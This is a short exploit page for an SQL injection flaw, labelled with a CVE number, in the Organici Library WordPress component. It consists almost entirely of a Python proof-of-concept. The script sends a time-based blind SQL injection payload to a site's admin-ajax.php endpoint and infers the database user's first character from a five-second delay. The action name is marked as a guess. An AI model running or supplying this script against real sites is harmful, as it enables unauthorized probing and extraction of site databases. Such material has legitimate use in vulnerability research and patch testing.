CVE-2026-24977 Organici Library SQL注入漏洞

import requests # Target URL (Placeholder, replace with actual vulnerable endpoint) target_url = "http://example.com/wp-admin/admin-ajax.php" # Payload for Time-Based Blind SQL Injection # Checking if the first character of the database user is 'r' (ASCII 114) # If true, sleep for 5 seconds payload = { "action": "noo_organici_action", # Replace with actual action name if known "param": "1' AND (SELECT SUBSTRING(user(), 1, 1)) = 'r' AND SLEEP(5)-- -" } try: print("[+] Sending payload to check for Blind SQL Injection...") response = requests.post(target_url, data=payload, timeout=10) # Check if response time indicates delay (SQL Injection successful) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: Database response delayed.") print("[+] Potential for data extraction via Blind SQL Injection.") else: print("[-] Vulnerability not detected or payload incorrect.") except Exception as e: print(f"[!] Error occurred: {e}")